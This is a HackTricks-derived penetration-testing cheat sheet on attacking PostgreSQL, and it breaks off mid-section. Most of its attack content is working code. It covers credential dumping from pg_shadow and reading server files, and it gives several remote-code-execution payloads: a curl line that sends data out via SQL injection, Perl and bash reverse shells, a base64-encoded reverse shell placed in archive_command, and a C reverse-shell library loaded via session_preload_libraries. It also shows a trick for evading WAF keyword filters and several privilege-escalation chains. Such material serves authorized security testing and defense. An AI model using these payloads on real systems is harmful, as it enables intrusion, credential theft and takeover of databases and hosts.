daemon-sec-cheatsheet

pentesting-postgresql.md (52172B)

---

 ---
 title: "5432 - Pentesting PostgreSQL"
 section: "Network Services"
 sectionSlug: "network-services-pentesting"
 sourcePath: "src/network-services-pentesting/pentesting-postgresql.md"
 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-postgresql.md"
 sha: "188de82beb54e70956b2952367a0af91d26758b8"
 isIndex: false
 modified: true
 license: "CC-BY-NC-4.0"
 ---
 
 # 5432 - Pentesting PostgreSQL
 
 ## **Basic Information**
 
 **PostgreSQL** is an open-source object-relational database system. It supports SQL plus extensible data types, functions, procedural languages, operators, and indexes.
 
 **Default port:** 5432. PostgreSQL does **not** automatically move to 5433 when the configured port is occupied; the server normally fails to bind until the conflict or its `port` setting is changed. Multiple local clusters are often configured manually on consecutive ports such as 5432 and 5433.<sup>[[18]](#references)</sup>
 
 ```text
 PORT     STATE SERVICE
 5432/tcp open  pgsql
 ```
 
 ## Connect & Basic Enum
 
 ```bash
 psql -U <myuser> # Open psql console with user
 psql -h <host> -U <username> -d <database> # Remote connection
 psql -h <host> -p <port> -U <username> -W -d <database> # Force a password prompt
 ```
 
 ```text
 psql -h localhost -d <database_name> -U <User> #Password will be prompted
 \list # List databases
 \c <database> # use the database
 \d # List tables
 \du+ # Get users roles
 
 # Get current user
 SELECT user;
 
 # Get current database
 SELECT current_catalog;
 
 # List schemas
 SELECT schema_name,schema_owner FROM information_schema.schemata;
 \dn+
 
 #List databases
 SELECT datname FROM pg_database;
 
 #Read credentials (usernames + pwd hash)
 SELECT usename, passwd from pg_shadow;
 
 # Get languages
 SELECT lanname,lanacl FROM pg_language;
 
 # Show installed extensions
 SHOW rds.extensions; -- AWS RDS only
 SELECT * FROM pg_extension;
 
 # Get history of commands executed
 \s
 ```
 
 > [!WARNING]
 > Finding an **`rdsadmin`** database with `\list` is a strong indicator of an **Amazon RDS for PostgreSQL** instance.
 
 For SQL-injection-specific techniques, see [PostgreSQL injection](/hacktricks/pentesting-web/sql-injection/postgresql-injection/overview).
 
 ## Automatic Enumeration
 
 ```text
 msf> use auxiliary/scanner/postgres/postgres_version
 msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
 ```
 
 ### [**Brute force**](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-hacking/brute-force.md#postgresql)
 
 ### **Port scanning**
 
 According to [**this research**](https://www.exploit-db.com/papers/13084), when a connection attempt fails, `dblink` throws an `sqlclient_unable_to_establish_sqlconnection` exception including an explanation of the error. Examples of these details are listed below.<sup>[[1]](#references)</sup>
 
 ```sql
 SELECT * FROM dblink_connect('host=1.2.3.4
                               port=5678
                               user=name
                               password=secret
                               dbname=abc
                               connect_timeout=10');
 ```
 
 - Host is down
 
 `DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?`
 
 - Port is closed
 
 ```text
 DETAIL:  could not connect to server: Connection refused Is  the  server
 running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
 ```
 
 - Port is open
 
 ```text
 DETAIL:  server closed the connection unexpectedly This  probably  means
 the server terminated abnormally before or while processing the request
 ```
 
 or
 
 ```text
 DETAIL:  FATAL:  password authentication failed for user "name"
 ```
 
 - Port is open or filtered
 
 ```text
 DETAIL:  could not connect to server: Connection timed out Is the server
 running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
 ```
 
 In PL/pgSQL functions, it is currently not possible to obtain exception details. However, if you have direct access to the PostgreSQL server, you can retrieve the necessary information. If extracting usernames and passwords from the system tables is not feasible, you may consider utilizing the wordlist attack method discussed in the preceding section, as it could potentially yield positive results.
 
 ## Enumeration of Privileges
 
 ### Roles
 
 | Role Types     |                                                                                                                                                      |
 | -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
 | rolsuper       | Role has superuser privileges                                                                                                                        |
 | rolinherit     | Role automatically inherits privileges of roles it is a member of                                                                                    |
 | rolcreaterole  | Role can create more roles                                                                                                                           |
 | rolcreatedb    | Role can create databases                                                                                                                            |
 | rolcanlogin    | Role can log in. That is, this role can be given as the initial session authorization identifier                                                     |
 | rolreplication | Role is a replication role. A replication role can initiate replication connections and create and drop replication slots.                           |
 | rolconnlimit   | For roles that can log in, this sets maximum number of concurrent connections this role can make. -1 means no limit.                                 |
 | rolpassword    | Not the password (always reads as `********`)                                                                                                        |
 | rolvaliduntil  | Password expiry time (only used for password authentication); null if no expiration                                                                  |
 | rolbypassrls   | Role bypasses every row-level security policy, see [Section 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) for more information. |
 | rolconfig      | Role-specific defaults for run-time configuration variables                                                                                          |
 | oid            | ID of role                                                                                                                                           |
 
 #### Interesting Groups
 
 - If you are a member of **`pg_execute_server_program`** you can **execute** programs
 - If you are a member of **`pg_read_server_files`** you can **read** files
 - If you are a member of **`pg_write_server_files`** you can **write** files
 
 > [!TIP]
 > Note that in Postgres a **user**, a **group** and a **role** is the **same**. It just depend on **how you use it** and if you **allow it to login**.
 
 ```sql
 # Get users roles
 \du
 
 #Get users roles & groups
 # r.rolpassword
 # r.rolconfig,
 SELECT
       r.rolname,
       r.rolsuper,
       r.rolinherit,
       r.rolcreaterole,
       r.rolcreatedb,
       r.rolcanlogin,
       r.rolbypassrls,
       r.rolconnlimit,
       r.rolvaliduntil,
       r.oid,
   ARRAY(SELECT b.rolname
         FROM pg_catalog.pg_auth_members m
         JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
         WHERE m.member = r.oid) as memberof
 , r.rolreplication
 FROM pg_catalog.pg_roles r
 ORDER BY 1;
 
 # Check whether the current user is a superuser
 ## If response is "on" then true, if "off" then false
 SELECT current_setting('is_superuser');
 
 # Try to grant access to groups
 ## This requires administrative authority over the role; exact CREATEROLE behavior is version-dependent (see below)
 GRANT pg_execute_server_program TO "username";
 GRANT pg_read_server_files TO "username";
 GRANT pg_write_server_files TO "username";
 ## You will probably get this error:
 ## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
 
 # Create new role (user) as member of a role (group)
 CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
 ## Common error
 ## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
 ```
 
 ### Tables
 
 ```sql
 # Get owners of tables
 select schemaname,tablename,tableowner from pg_tables;
 ## Get tables where user is owner
 select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
 
 # Get your permissions over tables
 SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
 
 #Check users privileges over a table (pg_shadow on this example)
 ## If nothing, you don't have any permission
 SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
 ```
 
 ### Functions
 
 ```sql
 # Interesting functions are inside pg_catalog
 \df * #Get all
 \df *pg_ls* #Get by substring
 \df+ pg_read_binary_file #Check who has access
 
 # Get all functions of a schema
 \df pg_catalog.*
 
 # Get all functions of a schema (pg_catalog in this case)
 SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
 FROM information_schema.routines
     LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
 WHERE routines.specific_schema='pg_catalog'
 ORDER BY routines.routine_name, parameters.ordinal_position;
 
 # Another option
 SELECT * FROM pg_proc;
 ```
 
 ## File-system actions
 
 ### Read directories and files
 
 From this [**commit** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)members of the defined **`DEFAULT_ROLE_READ_SERVER_FILES`** group (called **`pg_read_server_files`**) and **super users** can use the **`COPY`** method on any path (check out `convert_and_check_filename` in `genfile.c`):
 
 ```sql
 # Read file
 CREATE TABLE demo(t text);
 COPY demo from '/etc/passwd';
 SELECT * FROM demo;
 ```
 
 > [!WARNING]
 > On PostgreSQL 15 and earlier, a role with **`CREATEROLE`** could grant itself membership in these non-superuser predefined roles. PostgreSQL 16 restricted this behavior: membership changes require the applicable **`ADMIN OPTION`** (or superuser authority). Test the target version and effective grant options before relying on this path.<sup>[[19]](#references)</sup>
 >
 > ```sql
 > GRANT pg_read_server_files TO username;
 > ```
 >
 > [**More info.**](/hacktricks/network-services-pentesting/pentesting-postgresql#privilege-escalation-with-createrole)
 
 There are **other postgres functions** that can be used to **read file or list a directory**. Only **superusers** and **users with explicit permissions** can use them:
 
 ```sql
 # Before executing these functions, connect to the postgres DB (not template1)
 \c postgres
 ## If you don't do this, you might get "permission denied" error even if you have permission
 
 select * from pg_ls_dir('/tmp');
 select * from pg_read_file('/etc/passwd', 0, 1000000);
 select * from pg_read_binary_file('/etc/passwd');
 
 # Check who has permissions
 \df+ pg_ls_dir
 \df+ pg_read_file
 \df+ pg_read_binary_file
 
 # Try to grant permissions
 GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
 # By default you can only access files in the data directory
 SHOW data_directory;
 # But if you are a member of the group pg_read_server_files
 # You can access any file, anywhere
 GRANT pg_read_server_files TO username;
 # Check CREATEROLE privilege escalation
 ```
 
 You can find **more functions** in [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)
 
 ### Simple File Writing
 
 Only **super users** and members of **`pg_write_server_files`** can use copy to write files.
 
 ```sql
 copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
 ```
 
 > [!WARNING]
 > On PostgreSQL 15 and earlier, `CREATEROLE` could make this grant possible for non-superuser predefined roles. PostgreSQL 16 and later require the relevant `ADMIN OPTION` or superuser authority.<sup>[[19]](#references)</sup>
 >
 > ```sql
 > GRANT pg_write_server_files TO username;
 > ```
 >
 > [**More info.**](/hacktricks/network-services-pentesting/pentesting-postgresql#privilege-escalation-with-createrole)
 
 Remember that COPY cannot handle newline chars, therefore even if you are using a base64 payload y**ou need to send a one-liner**.\
 A very important limitation of this technique is that **`copy` cannot be used to write binary files as it modify some binary values.**
 
 ### **Binary files upload**
 
 For binary-safe alternatives, see [uploading large binary files through PostgreSQL](/hacktricks/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql).
 
 
 ### Updating PostgreSQL table data via local file write
 
 If you have the necessary permissions to read and write PostgreSQL server files, you can update any table on the server by **overwriting the associated file node** in [the PostgreSQL data directory](https://www.postgresql.org/docs/8.1/storage.html). **More on this technique** [**here**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).<sup>[[2]](#references)</sup>
 
 Required steps:
 
 1.  Obtain the PostgreSQL data directory
 
     ```sql
     SELECT setting FROM pg_settings WHERE name = 'data_directory';
     ```
 
     **Note:** If you cannot retrieve the current data-directory setting, query the major version with `SELECT version()` and test platform-specific package layouts. A common Debian/Ubuntu path is `/var/lib/postgresql/MAJOR_VERSION/CLUSTER_NAME/`, often with cluster name `main`.
 
 2.  Obtain a relative path to the filenode, associated with the target table
 
     ```sql
     SELECT pg_relation_filepath('{TABLE_NAME}')
     ```
 
     This query should return something like `base/3/1337`. The full path on disk will be `$DATA_DIRECTORY/base/3/1337`, i.e. `/var/lib/postgresql/13/main/base/3/1337`.
 
 3.  Download the filenode through the `lo_*` functions
 
     ```sql
     SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
     ```
 
 4.  Get the datatype, associated with the target table
 
     ```sql
     SELECT
     STRING_AGG(
         CONCAT_WS(
             ',',
             attname,
             typname,
             attlen,
             attalign
         ),
         ';'
     )
     FROM pg_attribute
     JOIN pg_type
         ON pg_attribute.atttypid = pg_type.oid
     JOIN pg_class
         ON pg_attribute.attrelid = pg_class.oid
     WHERE pg_class.relname = '{TABLE_NAME}';
     ```
 
 5.  Use the [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) to [edit the filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); set all `rol*` boolean flags to 1 for full permissions.
 
     ```bash
     python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
     ```
 
     ![PostgreSQL Filenode Editor Demo](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif)
 
 6.  Re-upload the edited filenode via the `lo_*` functions, and overwrite the original file on the disk
 
     ```sql
     SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
     SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
     ```
 
 7.  _(Optionally)_ Clear the in-memory table cache by running an expensive SQL query
 
     ```sql
     SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
     ```
 
 8.  You should now see updated table values in the PostgreSQL.
 
 You can also become a superuser by editing the `pg_authid` table. See [the corresponding privilege-escalation section](/hacktricks/network-services-pentesting/pentesting-postgresql#privilege-escalation-by-overwriting-internal-postgresql-tables).
 
 ## RCE
 
 ### **RCE to program**
 
 `COPY ... PROGRAM` has existed since PostgreSQL 9.3. It executes an operating-system command as the database service account and is restricted to superusers or roles granted `pg_execute_server_program`. An SQL-injection exfiltration example is:<sup>[[15]](#references)</sup>
 
 ```sql
 '; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
 ```
 
 Example to exec:
 
 ```bash
 #PoC
 DROP TABLE IF EXISTS cmd_exec;
 CREATE TABLE cmd_exec(cmd_output text);
 COPY cmd_exec FROM PROGRAM 'id';
 SELECT * FROM cmd_exec;
 DROP TABLE IF EXISTS cmd_exec;
 
 #Reverse shell
 # To escape a single quote in the SQL literal, double it
 COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
 ```
 
 > [!WARNING]
 > This self-grant path applies directly to PostgreSQL 15 and earlier. On PostgreSQL 16 and later, the session also needs `ADMIN OPTION` on `pg_execute_server_program` (or superuser authority).<sup>[[19]](#references)</sup>
 >
 > ```sql
 > GRANT pg_execute_server_program TO username;
 > ```
 >
 > [**More info.**](/hacktricks/network-services-pentesting/pentesting-postgresql#privilege-escalation-with-createrole)
 
 Or use the `multi/postgres/postgres_copy_from_program_cmd_exec` module from **metasploit**.\
 More information about the technique is available in the linked research. Although it was submitted as CVE-2019-9193, the PostgreSQL project clarified that authorized `COPY ... PROGRAM` execution is an intended feature rather than a vulnerability.<sup>[[3]](#references)[[15]](#references)</sup>
 
 #### Bypass keyword filters/WAF to reach COPY PROGRAM
 
 In SQLi contexts with stacked queries, a WAF may remove or block the literal keyword `COPY`. You can dynamically construct the statement and execute it inside a PL/pgSQL DO block. For example, build the leading C with `CHR(67)` to bypass naive filters and EXECUTE the assembled command:
 
 ```sql
 DO $$
 DECLARE cmd text;
 BEGIN
   cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"''';
   EXECUTE cmd;
 END $$;
 ```
 
 This pattern avoids static keyword filtering and still achieves OS command execution via `COPY ... PROGRAM`. It is especially useful when the application echoes SQL errors and allows stacked queries.<sup>[[4]](#references)[[5]](#references)</sup>
 
 ### RCE with PostgreSQL languages
 
 See [RCE with PostgreSQL procedural languages](/hacktricks/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages).
 
 ### RCE with PostgreSQL extensions
 
 After obtaining a binary-safe upload primitive, you can test code execution by loading a compatible PostgreSQL extension. See [RCE with PostgreSQL extensions](/hacktricks/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions).
 
 ### PostgreSQL configuration file RCE
 
 > [!TIP]
 > The following RCE vectors are especially useful in constrained SQLi contexts, as all steps can be performed through nested SELECT statements
 
 These techniques require a PostgreSQL configuration file that the database service account can overwrite. That is common in some source/container layouts, but packaged systems may keep the main file root-owned; database superuser status alone does not bypass operating-system permissions.
 
 ![RCE with PostgreSQL extensions - PostgreSQL configuration file RCE: The configuration file of PostgreSQL is writable by the postgres user , which is the one running the database, so as...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28322%29.png)
 
 #### **RCE with ssl_passphrase_command**
 
 More information [about this technique here](https://pulsesecurity.co.nz/articles/postgres-sqli).<sup>[[6]](#references)</sup>
 
 The configuration file has several settings that can lead to command execution when their prerequisites are met:
 
 - `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Path to the private key of the database
 - `ssl_passphrase_command = ''` specifies a command used to obtain the passphrase for an encrypted private key.
 - `ssl_passphrase_command_supports_reload = off` controls whether that command may run during a configuration reload when a passphrase is needed.
 
 Then, an attacker will need to:
 
 1. **Dump private key** from the server
 2. **Encrypt** downloaded private key:
    1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
 3. **Overwrite**
 4. **Dump** the current postgresql **configuration**
 5. **Overwrite** the **configuration** with the mentioned attributes configuration:
    1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
    2. `ssl_passphrase_command_supports_reload = on`
 6. Execute `pg_reload_conf()`
 
 While testing this I noticed that this will only work if the **private key file has privileges 640**, it's **owned by root** and by the **group ssl-cert or postgres** (so the postgres user can read it), and is placed in _/var/lib/postgresql/12/main_.
 
 #### **RCE with archive_command**
 
 **More** [**information about this config and about WAL here**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**<sup>[[7]](#references)</sup>
 
 Another attribute in the configuration file that is exploitable is `archive_command`.
 
 For this to work, the `archive_mode` setting has to be `'on'` or `'always'`. If that is true, then we could overwrite the command in `archive_command` and force it to execute via the WAL (write-ahead logging) operations.
 
 The general steps are:
 
 1. Check whether archive mode is enabled: `SELECT current_setting('archive_mode')`
 2. Overwrite `archive_command` with the payload. For eg, a reverse shell: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
 3. Reload the config: `SELECT pg_reload_conf()`
 4. Force the WAL operation to run, which will call the archive command: `SELECT pg_switch_wal()` or `SELECT pg_switch_xlog()` for some Postgres versions
 
 ##### Editing postgresql.conf via Large Objects (SQLi-friendly)
 
 When multi-line writes are needed (e.g., to set multiple GUCs), use PostgreSQL Large Objects to read and overwrite the config entirely from SQL. This approach is ideal in SQLi contexts where `COPY` cannot handle newlines or binary-safe writes.
 
 Example (adjust the major version and path if needed, e.g. version 15 on Debian):
 
 ```sql
 -- 1) Import the current configuration and note the returned OID (example OID: 114575)
 SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');
 
 -- 2) Read it back as text to verify
 SELECT encode(lo_get(114575), 'escape');
 
 -- 3) Prepare a minimal config snippet locally that forces execution via WAL
 --    and base64-encode its contents, for example:
 --    archive_mode = 'always'\n
 --    archive_command = 'bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'\n
 --    archive_timeout = 1\n
 --    Then write the new contents into a new Large Object and export it over the original file
 SELECT lo_from_bytea(223, decode('<BASE64_POSTGRESQL_CONF>', 'base64'));
 SELECT lo_export(223, '/etc/postgresql/15/main/postgresql.conf');
 
 -- 4) Reload the configuration and optionally trigger a WAL switch
 SELECT pg_reload_conf();
 -- Optional explicit trigger if needed
 SELECT pg_switch_wal();  -- or pg_switch_xlog() on older versions
 ```
 
 This yields reliable OS command execution via `archive_command` as the `postgres` user, provided `archive_mode` is enabled. In practice, setting a low `archive_timeout` can cause rapid invocation without requiring an explicit WAL switch.<sup>[[4]](#references)</sup>
 
 #### **RCE with preload libraries**
 
 More information [about this technique here](https://adeadfed.com/posts/postgresql-select-only-rce/).<sup>[[8]](#references)</sup>
 
 This attack vector takes advantage of the following configuration variables:
 
 - `session_preload_libraries` -- libraries that will be loaded by the PostgreSQL server at the client connection.
 - `dynamic_library_path` -- list of directories where the PostgreSQL server will search for the libraries.
 
 We can set the `dynamic_library_path` value to a directory, writable by the `postgres` user running the database, e.g., `/tmp/` directory, and upload a malicious `.so` object there. Next, we will force the PostgreSQL server to load our newly uploaded library by including it in the `session_preload_libraries` variable.
 
 The attack steps are:
 
 1. Download the original `postgresql.conf`
 2. Include the `/tmp/` directory in the `dynamic_library_path` value, e.g. `dynamic_library_path = '/tmp:$libdir'`
 3. Include the malicious library name in the `session_preload_libraries` value, e.g. `session_preload_libraries = 'payload.so'`
 4. Check major PostgreSQL version via the `SELECT version()` query
 5. Compile the malicious library code with the correct PostgreSQL dev package Sample code:
 
    ```c
    #include <stdio.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include "postgres.h"
    #include "fmgr.h"
 
    #ifdef PG_MODULE_MAGIC
    PG_MODULE_MAGIC;
    #endif
 
    void _init() {
       /*
           code taken from https://www.revshells.com/
       */
 
       int port = REVSHELL_PORT;
       struct sockaddr_in revsockaddr;
 
       int sockt = socket(AF_INET, SOCK_STREAM, 0);
       revsockaddr.sin_family = AF_INET;
       revsockaddr.sin_port = htons(port);
       revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");
 
       connect(sockt, (struct sockaddr *) &revsockaddr,
       sizeof(revsockaddr));
       dup2(sockt, 0);
       dup2(sockt, 1);
       dup2(sockt, 2);
 
       char * const argv[] = {"/bin/bash", NULL};
       execve("/bin/bash", argv, NULL);
    }
    ```
 
    Compiling the code:
 
    ```bash
     gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
    ```
 
 6. Upload the malicious `postgresql.conf`, created in steps 2-3, and overwrite the original one
 7. Upload the `payload.so` from step 5 to the `/tmp` directory
 8. Reload the server configuration by restarting the server or invoking the `SELECT pg_reload_conf()` query
 9. At the next DB connection, you will receive the reverse shell connection.
 
 ## PostgreSQL privilege escalation
 
 ### Privilege escalation with CREATEROLE
 
 #### **Grant**
 
 On PostgreSQL 15 and earlier, roles with **`CREATEROLE`** could grant or revoke membership in any non-superuser role. PostgreSQL 16 tightened role administration: changing membership now requires `ADMIN OPTION` on the target role, and altering sensitive attributes requires corresponding authority.<sup>[[16]](#references)[[19]](#references)</sup>
 
 Therefore, on a vulnerable older server—or on a newer server where the account also has the needed grant option—you may be able to grant yourself predefined roles that read/write server files or execute programs:
 
 ```sql
 # Access to execute commands
 GRANT pg_execute_server_program TO username;
 # Access to read files
 GRANT pg_read_server_files TO username;
 # Access to write files
 GRANT pg_write_server_files TO username;
 ```
 
 #### Modify Password
 
 On PostgreSQL 15 and earlier, `CREATEROLE` can also change passwords of other non-superusers. On PostgreSQL 16 and later, this requires administrative authority over the target role.<sup>[[19]](#references)</sup>
 
 ```sql
 #Change password
 ALTER USER user_name WITH PASSWORD 'new_password';
 ```
 
 #### Escalation to SUPERUSER
 
 If `pg_hba.conf` trusts a local connection for a database superuser, command execution as the PostgreSQL OS account can invoke `psql` through that trusted path and grant your database role **`SUPERUSER`**:
 
 ```sql
 COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
 ```
 
 > [!TIP]
 > This is usually possible because of the following lines in the **`pg_hba.conf`** file:
 >
 > ```bash
 > # "local" is for Unix domain socket connections only
 > local   all             all                                     trust
 > # IPv4 local connections:
 > host    all             all             127.0.0.1/32            trust
 > # IPv6 local connections:
 > host    all             all             ::1/128                 trust
 > ```
 
 ### ALTER TABLE privilege escalation
 
 [This write-up](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) explains how an excessive `ALTER TABLE` privilege granted to a non-superuser PostgreSQL role in Google Cloud SQL could be abused to escalate privileges.<sup>[[9]](#references)</sup>
 
 When you try to **make another user owner of a table** you should get an **error** preventing it, but apparently GCP gave that **option to the not-superuser postgres user** in GCP:
 
 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28537%29.png" alt=""><figcaption></figcaption></figure>
 
 Joining this idea with the fact that when the **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) commands are executed on a **table with an index function**, the **function** is **called** as part of the command with the **table** **owner’s permissions**. It's possible to create an index with a function and give owner permissions to a **super user** over that table, and then run ANALYZE over the table with the malicious function that will be able to execute commands because it's using the privileges of the owner.
 
 ```c
 GetUserIdAndSecContext(&save_userid, &save_sec_context);
 SetUserIdAndSecContext(onerel->rd_rel->relowner,
                        save_sec_context | SECURITY_RESTRICTED_OPERATION);
 ```
 
 #### Exploitation
 
 1. Start by creating a new table.
 2. Insert some irrelevant content into the table to provide data for the index function.
 3. Develop a malicious index function that contains a code execution payload, allowing for unauthorized commands to be executed.
 4. ALTER the table's owner to "cloudsqladmin," which is GCP's superuser role exclusively used by Cloud SQL to manage and maintain the database.
 5. Perform an ANALYZE operation on the table. This action compels the PostgreSQL engine to switch to the user context of the table's owner, "cloudsqladmin." Consequently, the malicious index function is called with the permissions of "cloudsqladmin," thereby enabling the execution of the previously unauthorized shell command.
 
 In PostgreSQL, this flow looks something like this:
 
 ```sql
 CREATE TABLE temp_table (data text);
 CREATE TABLE shell_commands_results (data text);
 
 INSERT INTO temp_table VALUES ('dummy content');
 
 /* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
 CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
   LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
 
 CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
 
 ALTER TABLE temp_table OWNER TO cloudsqladmin;
 
 /* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
 CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
   LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
 
 ANALYZE public.temp_table;
 ```
 
 Then, the `shell_commands_results` table will contain the output of the executed code:
 
 ```text
 uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
 ```
 
 ### Local Login
 
 Some misconfigured PostgreSQL instances allow privileged local connections that are unavailable remotely. With valid credentials—or an applicable local trust rule—the **`dblink`** extension can make a new loopback connection and execute queries as that role:
 
 ```sql
 \du * # Get Users
 \l    # Get databases
 SELECT * FROM dblink('host=127.0.0.1
     port=5432
     user=someuser
     password=supersecret
     dbname=somedb',
     'SELECT usename,passwd from pg_shadow')
 RETURNS (result TEXT);
 ```
 
 > [!WARNING]
 > Note that for the previous query to work **the function `dblink` needs to exist**. If it doesn't you could try to create it with
 >
 > ```sql
 > CREATE EXTENSION dblink;
 > ```
 
 If you have the password of a user with more privileges, but the user is not allowed to login from an external IP you can use the following function to execute queries as that user:
 
 ```sql
 SELECT * FROM dblink('host=127.0.0.1
                           user=someuser
                           dbname=somedb',
                          'SELECT usename,passwd from pg_shadow')
                       RETURNS (result TEXT);
 ```
 
 It's possible to check if this function exists with:
 
 ```sql
 SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
 ```
 
 ### **Custom defined function with** SECURITY DEFINER
 
 [This write-up](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql) describes how pentesters escalated privileges inside an IBM-managed PostgreSQL instance after finding a function declared with **`SECURITY DEFINER`**:<sup>[[10]](#references)</sup>
 
 <pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text) 
     RETURNS text 
     LANGUAGE 'plpgsql' 
 <strong>    VOLATILE SECURITY DEFINER 
 </strong>    PARALLEL UNSAFE 
     COST 100 
      
 AS $BODY$ 
                 DECLARE 
                      persist_dblink_extension boolean; 
                 BEGIN 
                     persist_dblink_extension := create_dblink_extension(); 
                     PERFORM dblink_connect(format('dbname=%s', db_name)); 
                     PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s', 
                                                subscription_name, host_ip, portNum, password, username, db_name, publisher_name)); 
                     PERFORM dblink_disconnect(); 
 … 
 </code></pre>
 
 As [**explained in the docs**](https://www.postgresql.org/docs/current/sql-createfunction.html) a function with **SECURITY DEFINER is executed** with the privileges of the **user that owns it**. Therefore, if the function is **vulnerable to SQL Injection** or is doing some **privileged actions with params controlled by the attacker**, it could be abused to **escalate privileges inside postgres**.<sup>[[17]](#references)</sup>
 
 The declaration above includes the **`SECURITY DEFINER`** flag.
 
 ```sql
 CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
 user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
 WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
 ```
 
 And then **execute commands**:
 
